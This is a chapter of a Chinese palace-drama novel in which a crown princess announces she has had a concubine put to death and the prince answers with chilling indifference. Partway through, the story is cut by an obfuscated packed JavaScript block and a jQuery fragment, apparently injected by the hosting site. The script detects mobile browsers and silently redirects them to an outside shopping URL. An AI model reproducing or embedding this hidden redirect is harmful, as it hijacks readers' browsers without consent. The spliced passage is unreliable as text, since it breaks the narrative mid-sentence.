等沈昱回到东宫，已是晚膳时分。
檐下灯笼早早点起，暖黄的光透过窗棂漫出来，映在廊前的薄雪上。
殿内飘出饭菜的香气——不是御膳房那些精致却凉透的膳馐，是小厨房现做的热菜，带着茱萸的辛香，是秦宝宜喜欢的鲜辣口味。
她坐在桌边，正小口小口喝着汤。见他进来，眼皮也没抬一下，只是将汤碗往旁边挪了挪，腾出一角桌面。
“殿下一起。”
沈昱的目光在她脸上停了一息，随即在她身侧坐下。
青黛添上碗筷。沈昱接过，却没有立刻动筷，而是先夹了一筷子茱萸蜜饯，放进她面前的碟子里。
那是她最爱吃的。从前她总嫌御膳房做得不够地道，他便命人南下寻了方子，让东宫小厨房学着做。彼时她欢喜得什么似的，一连吃了小半碟，辣得直吸溜气，却还要往嘴里塞。
“薛晟呢？”他问。
秦宝宜夹起那块蜜饯，咬了一口，慢慢嚼着，没有说话。
沈昱也不急，替自己斟了一盏酒，又替她盛了半碗汤，推到她手边。动作自然熟稔，像这五年来每一个寻常的夜晚。
“今日忙，”他端起酒盏，抿了一口，目光落在她侧脸上，“还未问你，与孤借人做了什么？”
秦宝宜咽下那口蜜饯，用帕子按了按嘴角，这才抬起眼。
她的目光落在他脸上，很慢，很稳，像在端详一件从前未及细看的器物。
烛火在他眉眼间投下浅淡的阴影，仍是那副温润如玉的模样，连眉心微微蹙起的弧度都与往日无异。
她忽然笑了一下。
那笑容很短，只来得及在唇边一闪，便收了回去。然后她放下帕子，慢条斯理地开口：
“臣妾赐死了窦氏。”
她顿了顿。
“薛晟在看守尸体。”
殿内陡然静下来。
那静不是无声，是所有的声音都被抽空了——炉火噼啪的轻响、窗外风过檐铃的叮当、远处隐约传来的更鼓，都像隔了一层厚厚的棉絮，闷闷的，传不进这方寸之间。
沈昱握着筷子的手，顿在半空。
秦宝宜没有移开视线。她盯着他，等一个答案。
她想知道，那个把她抛在雪地里、任她跪在血泊中头也不回走掉的人，那个对亲生骨肉的生死无动于衷的人——在听到这个消息时，会不会有一丝动容？
毕竟，窦氏从沈昱十三岁起就在身边侍候。
她想知道，他是不是真的没有心。
他猛地放下筷子，筷身磕在瓷沿上，发出一声脆响。然后抬起眼，看她。
四目相对的那一瞬，秦宝宜看见他眼底有什么东西裂开了——像冰面被砸出第一道纹，细密、曲折，从瞳孔深处向外蔓延。
可那神色只存在了一息。
像一颗石子投入深潭，涟漪还未荡开，水面便已重新合拢。他的嘴唇微微张开，却没发出声音。他伸手取过酒盏，仰头饮尽。
酒液入喉，他抬起眼来，声音已经找回来了：
“是吗。”
平平淡淡两个字，像在问今晚的汤咸淡。
秦宝宜垂下眼，执壶替他续满。
“尸首就停在畅怀轩，薛晟守着。”她语气也和煦，“证据确凿，臣妾想查出她的手段，不难。”
沈昱没有说话。
他又端起酒盏，又是一饮而尽。酒液顺着喉结滚动，他搁下空盏，重新拿起筷子，夹了一箸茱萸蜜饯放进她碟中，动作与往常别无二致。
“为何不与孤商量？”
秦宝宜歪了歪头，似是不解。
“这是臣妾的职责。”她说，语气理所当然，“臣妾是太子妃，掌东宫内务，处置谋害子嗣的妾室，是本分。殿下为皇上驾崩而伤怀，臣妾不忍打扰。”
她顿了顿，又补了一句：
“何况，家丑不可外扬。宗亲都在京中，这事若闹大了……”她看着他，轻轻一笑，“丢脸。”
那“丢脸”二字，她说得极轻，像羽毛落在水面上，连涟漪都没泛起几圈。
可沈昱握着酒盏的手，指节微微泛白。
秦宝宜替自己斟了一盏，端起，手伸过去，轻轻碰了碰他的空杯。
叮——
一声极轻的脆响。
她仰头饮尽，放下酒盏，这才继续说下去：
“于情，她害的是本宫与殿下期盼多年的嫡长嗣；于理，我大齐祖宗家法立嫡不立长，若臣妾怀的是嫡子，她害的便是来日储君。于家，她害的是沈秦两氏君明臣贤的血脉延续；于国……”
她抬起眼，直视着他。
“窦氏所为，有污殿下清名。”
沈昱看着她，没有接话。
“臣妾看在殿下与庶长子的份上，赐她自尽，已是宽宥。”烛火在她眼底跳动，映出两簇小小的光。
殿内又静下来。
炉火噼啪作响，窗外的风声时远时近。青黛早已屏息退到角落，连呼吸都压得极低。
良久，沈昱开口了。
“你变了。”声音很轻，像在说给自己听。
秦宝宜没有避开他的目光。她迎上去，自嘲似的笑了一下。
“变得心慈手软了。”她接道，“若放在以前，秦宝宜会让窦氏活着赎罪。”
又带着惋惜——
“只是，臣妾现在是太子妃，不得不体面着。”
她放下筷子，站起身。
“庶长子没了娘，怪可怜的。”她说，垂着眼整理袖口的褶皱，“殿下去看看他吧。”
她转身欲走，又停住，侧过脸——
“臣妾说过，不养别人的孩子。”
她迈步，向内室走去。
“秦宝宜。”
他的声音从身后传来，不重，却像一根线，倏然勒住了她的脚步。
她停在门槛前，背对着他。
她听见他起身的声音，衣料窸窣，靴底踏过地砖，一步一步，越来越近。然后他的声音响在身后，很近，近得像贴着她的耳廓：
“你在怨孤。”
秦宝宜没有回头。
她望着面前那扇阖着的门，雕花的棂格将光影切割成细碎的一片片。她听见自己的声音从喉咙里淌出来，平稳得像一潭死水：
“臣妾心疼殿下。”
她顿了顿。
“丧子之痛，父母同心。”
然后她推开门，快步走入内室，反手将门阖上。
门扇合拢的那一瞬，她猛地扑到窗前，推开窗扇。
夜风灌进来，带着腊月的寒气，扑在她脸上，激得她打了个寒颤。她扶着窗棂，大口大口地喘气，像溺水的人终于浮出水面。
怨？
她不知道。
她只知道，方才那一刻，她看着他眼底的裂痕，看着他压抑的愤怒，她心里没有快意，没有解气，只有一片空茫茫的荒芜。
她曾经以为，他会为那个孩子难过。哪怕只是一瞬间，哪怕只是装出来的。
可他没有。
她今日以为，他对窦氏多少有些情分。十年的陪伴，十年的服侍，总该有些不一样的。
可他也没有。
那她呢？
她与他五年夫妻，五年同床共枕，五年她以为的两情相悦——在他眼里，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214290|197441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又算什么？
她不是在争风吃醋。
她只是想知道，那个人有没有心。
不是为了挽回——只是为了给过去的自己，一个交代。
可他的表现，时时刻刻在帮她确认一件事——
衷情错付。
一炷香后，青黛推门进来。
她脚步很轻，走到秦宝宜身后，压低了声音：
“娘娘，殿下去了畅怀轩。”
秦宝宜没有回头。她仍望着窗外那轮被夜雾吞没的残月。
“然后呢？”
青黛顿了顿。
“殿下没有进去。只在院门口站了一会儿，便转身走了。”
秦宝宜的手指微微蜷了一下。
“他让人……将窦氏用草席裹了，扔去城外乱葬岗。”
秦宝宜闭上眼。
他方才那片刻的失态，究竟是因为窦氏，还是因为——
她挑衅了他的权威。
“还说什么了？”她问。
青黛顿了顿。
“殿下说……”她的声音更低了，“将庶长子给主子您养。”
秦宝宜的心口猛地一窒。
她张了张嘴，想说什么，却发现自己什么都说不出来。
因为她忽然发现，自己脑子里一片空白。那些纷乱的念头、那些翻涌的情绪、那些盘算了一整日的对策——此刻全都消失了，只剩一片茫然。
她努力去想沈昱的脸。那张看了五年的脸，那双带着笑意的温润眼眸。
可她想不起来了。
外面忽然吵闹起来。
脚步声，说话声，还有——孩子的哭声。
秦宝宜转身，推门出去。
院门处灯火通明。沈昱站在那儿，玄色大氅上沾着未化的雪沫。他身旁站着一个孩子——庶长子沈环，四岁，眉眼像极了他。
孩子哭得厉害，满脸泪痕，小脸涨得通红。他被沈昱牵着，踉踉跄跄地往前走，嘴里还在喊着什么。
沈昱看见她出来，停住脚步。
他没有说话，只是松开了牵着孩子的手。
沈环愣了一息，然后看见了她。
那张小脸上的表情一瞬间变了——从恐惧，到愤怒，到——
他扑上来，被青黛揽住，哭喊着：
“是你！是你杀了我娘亲！”
沈昱站在一旁，并不制止。甚至没有移开目光。他就那样看着，像在看一场与他无关的戏。
秦宝宜与他对视。
隔着那个哭得撕心裂肺的孩子，她看见他的眼睛——平静得像一潭死水，连那点裂痕都没有了。
然后他开口了。
“爱妃。”
他的声音穿过夜风传来，温和如旧。
“孤补偿给你个孩子。”
秦宝宜霍然抬头。
她站在这满院的灯火里，忽然觉得冷。
从骨头缝里往外渗的冷。
她慢慢抬起手，覆在沈环的头顶。
孩子的哭声顿了一下，抬起泪眼看她。
她轻轻按了按他的发顶，然后收回手，抬起头，看着沈昱。
月光冷冷地洒在两人之间，像一道无法逾越的深渊。
她没有说话。
她只是看着他，看着这张她看了五年的脸，看着这双她曾经以为藏着世间所有温柔的眼睛。
良久，她笑了一下。
那笑容很短，只来得及在唇边一闪，便收了回去。像冬夜里的最后一盏灯火，被风吹灭，余下一片空茫茫的黑暗。
她不想知道他有没有心了——
他有。但他用不着。